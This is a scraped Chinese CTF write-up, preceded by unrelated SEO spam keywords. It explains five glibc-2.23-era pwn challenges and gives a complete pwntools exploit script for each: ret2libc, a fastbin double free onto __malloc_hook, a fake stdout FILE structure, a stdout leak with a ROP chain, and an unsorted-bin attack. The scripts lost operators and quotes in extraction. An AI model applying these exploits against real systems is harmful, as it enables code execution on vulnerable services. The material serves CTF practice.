互动网站,桂林市区地图,做教育招生网站,重庆建网站价格表最近这个打stdout的题真多。这个比赛没打。拿到附件作了一天。
choice
32位#xff0c;libc-2.23-i386#xff0c;nbytes初始值为0x14,读入0x804A04C 0x14字节后会覆盖到nbytes 1个字节。当再次向v1读入nbytes字节时会造成溢出。 先写0x14p8(0xff)覆盖到nbytes然后溢出写传…最近这个打stdout的题真多。这个比赛没打。拿到附件作了一天。
choice
32位libc-2.23-i386nbytes初始值为0x14,读入0x804A04C 0x14字节后会覆盖到nbytes 1个字节。当再次向v1读入nbytes字节时会造成溢出。 先写0x14p8(0xff)覆盖到nbytes然后溢出写传统的两回合puts(got.puts) ,system(bin/sh)
from pwn import *elf ELF(./choice)
libc ELF(./libc-2.23.so)
p process(./choice)
context(archi386, log_leveldebug)p.sendafter(bPlease enter your name:\n, bA*0x14 p8(0xff)) #nbytes0xffpay flat([b\x00*(284), elf.plt[puts], 0x804857b, elf.got[puts]])p.sendlineafter(b3. Study hard from now\n, b2)
p.sendafter(bCool! And whd did you choice it?\n, pay)p.recvuntil(bGood bye!\n)
libc.address u32(p.recv(4)) - libc.sym[puts]
print(f{libc.address :x})pay flat([b\x00*(284), libc.sym[system], 0x804857b, next(libc.search(b/bin/sh\x00))])
p.sendafter(bCool! And whd did you choice it?\n, pay)p.interactive()
uafNote
标准的菜单堆题有add,free,show, libc-2.23都是低版本的libc有点像是古代的题重拿回来了。
在free没有清指针有UAF通过名字也能知道。add建块也没有大小限制所以直接建0x80的块释放show得到libc地址然后1-2-1进行double free在malloc前利用错位的0x7f建块在malloc写one
void delete()
{unsigned int num; // [rspCh] [rbp-4h]printf(index:);num read_num();if ( num 0xF )free((void *)ptr_table[num]);
}
from pwn import *elf ELF(./uafNote)
libc ELF(./libc-2.23.so)def add(size,msgbA):p.sendlineafter(b , b1)p.sendlineafter(bsize:, str(size).encode())p.sendlineafter(bcontent:, msg)def free(idx):p.sendlineafter(b , b2)p.sendlineafter(bindex:, str(idx).encode())def show(idx):p.sendlineafter(b , b3)p.sendlineafter(bindex:, str(idx).encode())p process(./uafNote)
context(archamd64, log_leveldebug)add(0x80)
add(0x60)
add(0x60)free(0)
show(0)
libc.address u64(p.recvuntil(b\x7f).ljust(8, b\x00)) - 0x68 - libc.sym[__malloc_hook]
print(f{libc.address :x})#double free malloc-one
one [0x4526a, 0xef6c4, 0xf0567]
one_gadget libc.address one[1]
free(1)
free(2)
free(1)
add(0x60, p64(libc.sym[__malloc_hook] - 0x23))
add(0x60)
add(0x60)
add(0x60, b\x00*0x13 p64(one_gadget))#
p.sendlineafter(b , b1)
p.sendlineafter(bsize:, b8)p.interactive()bss2019
这是2019年的题吧先给了加载地址相当于没开pie
__int64 __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);puts(Gift:);printf(%p\n, unk_202060);sub_9E0();return 0LL;
}
然后进入菜单1是show可以指定负值2是edit也可以指定负值最小-64
基地址0x202060的前边0x202020就是stdout通过造一个fake_io_file,然后把stdout指过来。也算是个板子题了。
from pwn import *elf ELF(./bss2019)
libc ELF(./libc-2.23.so)
context(archamd64, log_leveldebug)p process(./bss2019)p.recvuntil(bGift:\n)
elf.address int(p.recvline(),16) - 0x202060p.sendlineafter(bChoice:, b1)
p.sendlineafter(bOffset:\n, b-64)
p.recvuntil(bThis is your data:\n)
libc.address u64(p.recvuntil(b\x7f).ljust(8, b\x00)) - libc.sym[_IO_2_1_stdout_]
print(f{elf.address :x} {libc.address :x})#gdb.attach(p, b*0x0000555555400b65\nc)
io_file b sh;p32(0) p64(0)*4 p64(1)
io_file io_file.ljust(0x88,b\x00) p64(elf.address 0x202200)
io_file io_file.ljust(0xd8,b\x00) p64(elf.address 0x202050 0xd8) #ptr-self
io_file b\x00*0x30 p64(libc.sym[system])p.sendlineafter(bChoice:, b2)
p.sendlineafter(bOffset:\n, b-16)
p.sendlineafter(bSize:\n, str(len(io_file)).encode())
p.sendlineafter(bInput data:, io_file)p.sendlineafter(bChoice:, b2)
p.sendlineafter(bOffset:\n, b-64)
p.sendlineafter(bSize:\n, b8)
p.sendlineafter(bInput data:, p64(elf.address 0x202050))p.interactive()0x555555602020 stdout: 0x0000555555602050 0x0000000000000000
0x555555602030 stdin: 0x00007ffff7bc48e0 0x0000000000000000
0x555555602040 stderr: 0x00007ffff7bc5620 0x0000000000000000
0x555555602050: 0x000000003b687320 0x0000000000000000 -- sh;\0\0\0\0\
0x555555602060: 0x0000000000000000 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000001
0x555555602080: 0x0000000000000000 0x0000000000000000
0x555555602090: 0x0000000000000000 0x0000000000000000
0x5555556020a0: 0x0000000000000000 0x0000000000000000
0x5555556020b0: 0x0000000000000000 0x0000000000000000
0x5555556020c0: 0x0000000000000000 0x0000000000000000
0x5555556020d0: 0x0000000000000000 0x0000555555602200 -- 指向0
0x5555556020e0: 0x0000000000000000 0x0000000000000000
0x5555556020f0: 0x0000000000000000 0x0000000000000000
0x555555602100: 0x0000000000000000 0x0000000000000000
0x555555602110: 0x0000000000000000 0x0000000000000000
0x555555602120: 0x0000000000000000 0x0000555555602128 --指向自己
0x555555602130: 0x0000000000000000 0x0000000000000000
0x555555602140: 0x0000000000000000 0x0000000000000000
0x555555602150: 0x0000000000000000 0x0000000000000000
0x555555602160: 0x00007ffff7845390 -- system前两天一个c00edit也是这个stdout的题一并拿过来
c00edit
菜单题但是只有add和edit两个功能
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{__int64 v3; // rdx__int64 result; // raxwhile ( 2 ){sub_12A9();switch ( sub_12FE(a1, a2) ){case 1LL:m1add();continue;case 2LL:case 4LL:a1 Not implemented!;puts(Not implemented!);continue;case 3LL:m3edit((__int64)a1, (__int64)a2, v3);continue;case 5LL:result 0LL;break;default:puts(invalid choice);result 0xFFFFFFFFLL;break;}break;}return result;
}
add先建一个管理块管理块是size,ptr 。edit在idx和offset都没限制负值所以可以前溢出唯一麻烦的是每次只能写8字节。如果写stdout也就只能改一个位置。
int __fastcall sub_13CA(__int64 a1, __int64 a2, __int64 a3)
{const char *v3; // rdi__int64 v4; // rdx__int64 v5; // rbp__int64 v6; // rbxint result; // eaxv3 No chance!;if ( dword_40E0 16 )return puts(v3);__printf_chk(1LL, Index: , a3);v3 Invalid index!;v5 sub_12FE(1LL, Index: );if ( !*((_QWORD *)qword_4060 v5) )return puts(v3);__printf_chk(1LL, Offset: , v4);v6 sub_12FE(1LL, Offset: );if ( v6 7 **((_QWORD **)qword_4060 v5) ){v3 Invalid offset!;return puts(v3);}__printf_chk(1LL, Content: , v6 7);result read(0, (void *)(*(_QWORD *)(*((_QWORD *)qword_4060 v5) 8LL) v6), 8uLL);dword_40E0;return result;
}
首先利用指针前溢出指向stdout,在stdout头部的标识和指针当作是管理块的地址利用负偏移修改头和io_write_end输出得到libc
#0x7ffff7e1a780 _IO_2_1_stdout_: 0x00000000fbad2887 0x00007ffff7e1a803
然后再将这个位置改到environ输入栈地址由于栈地址比较远需要输出的部分较长。
然后建个块把管理块的指针改为栈的返回地址直接写rop
from pwn import *p process(./chall)
libc ELF(./libc.so.6)context(archamd64, log_level debug)def add():p.sendlineafter(bYour choice: , b1)def edit(idx,off,msg):p.sendlineafter(bYour choice: , b3)p.sendlineafter(bIndex: , str(idx).encode())p.sendlineafter(bOffset: , str(off).encode())p.sendafter(bContent: , msg)#0x7ffff7e1a780 _IO_2_1_stdout_: 0x00000000fbad2887 0x00007ffff7e1a803
edit(-8, -0x83, p64(0xfbad1887))
edit(-8, -0x830x28, p8(0x10)) #_IO_write_end p.recv(5)
libc.address u64(p.recv(8)) - 0x21ba70
print(f{ libc.address :x})#gdb.attach(p, b*0x555555555180\nc)edit(-8, -0x830x28, p64(libc.sym[environ]8))
stack u64(p.recvuntil(b1. add, dropTrue)[-8:]) - 0x120
print(f{ stack :x})pop_rdi libc.address 0x000000000002a3e5
rop [pop_rdi1, pop_rdi, next(libc.search(b/bin/sh\x00)), libc.sym[system]]
for i in range(len(rop)):add()edit(i, -0x18, p64(stack i*8))edit(i, 0, p64(rop[i]))p.sendlineafter(bYour choice: , b5)
p.interactive()
fake
这题据说是个0解题终于解出来。
一个菜单题但建块的大小是固定的0x1000并且没有show,释放后会进入unsort再建块会用掉而且unsort attack由于并未得到libc所以也就无法修改global_max_fast也就无法用fastbin attack.
这里有一个不常用的攻击unsort attack一般情况下通过修改bk会在指定位置写一个指针unsort寺址这个地址是固定的所以一般无法直接实现攻击。
先看正常情况下的unsort结构释放到unsort的块fp,bk两个指针指向4b78的位置在4b88的位置也有两个指针指向释放到unsort的块。实际上只使用bk这个指针。 首先进行unsort attack在0x60b018的位置写入一个指针区的地址将来会有一个4b78的值会写到指针区控制4b78开始的一块区域。 有开始的时候写passwd时可以在0x6020f0写个0x1010作为头标识unsort建块时会检查头大小将0x6020e8作为unsort的块那么刚写的这个指针就在bk的位置 这时候heap[0]可以控制unsort的指针区修改指针区让他指向6020e8这时候就作成了一个伪造好的unsort 这时候再建块就会建到伪造的heap指针区前边控制指针区也就可以达到任意读写的目的了。
后边直接写3个指针一个指向got.free 将来把它改成plt.puts6得到libc第2个指针指向puts将来泄露用第3个指针指向/bin/sh将free改成system后直接释放它得到shell
from pwn import *elf ELF(./fake)
libc ELF(./libc-2.23.so)def add(idx,msgbA):p.sendlineafter(bYour choice:, b1)p.sendlineafter(bIndex:, str(idx).encode())p.sendlineafter(bContent:, msg)def free(idx):p.sendlineafter(bYour choice:, b3)p.sendlineafter(bIndex:, str(idx).encode())def edit(idx, msg):p.sendlineafter(bYour choice:, b2)p.sendlineafter(bIndex:, str(idx).encode())p.send(msg)p process(./fake)
context(archamd64, log_leveldebug)p.sendafter(bEnter your password:\n, flat(0,0,0x1010))add(0)
add(1)
free(0)edit(0, flat(0,0x6020f0))
add(2)
edit(0, flat(0,0,0x6020e8,0x6020e8))
add(3, flat(0,0x602018,0x602020,0x602118, b/bin/sh\x00))
#0-got.free 1-got.puts
edit(0, p64(elf.plt[puts]6)[:-1]) #free-puts
free(1)
libc.address u64(p.recvuntil(b\x7f).ljust(8, b\x00)) - libc.sym[puts]
print(f{ libc.address :x})edit(0, p64(libc.sym[system])[:-1]) #free-systemfree(2)
p.interactive()